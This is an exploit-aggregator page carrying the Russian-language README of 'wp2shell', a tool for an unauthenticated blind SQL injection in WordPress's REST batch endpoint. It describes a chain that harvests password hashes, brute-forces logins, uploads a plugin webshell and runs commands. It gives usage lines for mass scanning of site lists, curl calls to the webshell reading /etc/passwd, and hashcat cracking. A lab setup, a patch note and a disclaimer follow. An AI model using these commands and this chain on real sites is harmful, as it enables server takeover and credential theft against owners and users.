Sploitus

Exploit for wp2shell

kitploit · 2026-08-25

Exploit Code

MARKDOWN216 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XWHOKNOWS-WP2SHELL
# wp2shell

Blind SQL-инъекция в WordPress REST batch через route confusion — автоматизированная цепочка эксплуатации.

**CVE-2026-63030 / CVE-2026-60137**

|   
---|---  
Затронутые версии| WordPress 6.9.0 – 6.9.4 и 7.0.0 – 7.0.1  
Исправлено в| WordPress 6.9.5 / 7.0.2  
Приёмник (sink)| SQL `author__not_in` через рассинхронизированный параметр `author_exclude`  
Требуется аутентификация| Нет (SQLi без аутентификации)  
  
> **Только для авторизованного тестирования безопасности.**

* * *

## Как это работает

Конечная точка batch REST API WordPress (`/wp-json/batch/v1`) допускает вложенные batch-запросы. Двойной вложенный рассинхронизированный payload смещает внутренние массивы `$matches` / `$validation`, направляя подделанное значение `author_exclude` в SQL `author__not_in` без санитизации. Это даёт неаутентифицированную blind SQL-инъекцию (boolean-based и time-based).

**Цепочка эксплуатации — 4 фазы:**

root@kitploit:~
    
    
    Phase 1  Vulnerability check     batch marker probe + optional SQL timing
    Phase 2  Hash harvest            blind SQLi extracts wp_users (login + hash)
    Phase 3  Authentication          wordlist attack via wp-login.php
    Phase 4  Webshell deployment     plugin ZIP upload -> RCE verify
    

* * *

## Требования

  * Python 3.8+
  * `aiohttp`
  * `colorama`



root@kitploit:~
    
    
    pip install aiohttp colorama
    

* * *

## Использование

**Одиночная цель**

root@kitploit:~
    
    
    python wp2shell.py http://target.com
    

**Список сайтов (один URL на строку)**

root@kitploit:~
    
    
    python wp2shell.py sites.txt
    

**Список сайтов + свой файл паролей**

root@kitploit:~
    
    
    python wp2shell.py sites.txt -p pass.txt
    

**Известные учётные данные (пропустить словарь)**

root@kitploit:~
    
    
    python wp2shell.py http://target.com --user admin --password admin123
    

**Подтверждение SQLi по таймингу**

root@kitploit:~
    
    
    python wp2shell.py http://target.com --confirm-sqli
    

**Без ЧПУ**

root@kitploit:~
    
    
    python wp2shell.py http://target.com --rest-route
    

**Через прокси Burp**

root@kitploit:~
    
    
    python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
    

* * *

## Параметры

* * *

## Выходные файлы

Файл| Содержимое  
---|---  
`creds.txt`| `http://target=>user:pass` (открытый текст, если пароль подобран, иначе хэш)  
`webshell.txt`| URL активного веб-шелла  
`VULNERABLE.txt`| Все цели, у которых фаза 1 подтвердила уязвимость  
  
Все файлы дополняются — результаты накапливаются между запусками.

**Использование веб-шелла** — добавьте `?cmd=COMMAND` к URL из `webshell.txt`:

root@kitploit:~
    
    
    # browser
    http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
    
    # curl
    curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
    curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
    

* * *

## Офлайн-подбор паролей

Если словарь не сработал, `creds.txt` содержит извлечённый хэш:

root@kitploit:~
    
    
    hashcat -m 400 creds.txt wordlist.txt
    

Затем запустите снова с подобранным паролем:

root@kitploit:~
    
    
    python wp2shell.py http://target.com --user admin --password <plaintext>
    

* * *

## Локальный стенд (Docker)

Поднимает уязвимый экземпляр WordPress 7.0.1 для безопасного локального тестирования.

**Первый запуск — создание томов и установка WordPress:**

root@kitploit:~
    
    
    docker compose up -d db wordpress
    docker compose run --rm wpcli
    

**Последующие запуски:**

root@kitploit:~
    
    
    docker compose up -d db wordpress
    

**Остановка:**

root@kitploit:~
    
    
    docker compose down
    

**Полный сброс (удаляет все данные):**

root@kitploit:~
    
    
    docker compose down -v
    

**Запуск эксплойта против стенда:**

root@kitploit:~
    
    
    python wp2shell.py http://localhost:8080
    

* * *

## Исправление уязвимости

Обновитесь до WordPress **6.9.5** или **7.0.2**. Исправление проверяет batch-маршрут перед отправкой вложенных запросов, предотвращая рассинхронизацию, которая открывает SQL-приёмник (sink).

* * *

## Правовая информация

Для использования на системах, которыми вы владеете, или на тестирование которых получено явное письменное разрешение. Несанкционированное использование незаконно.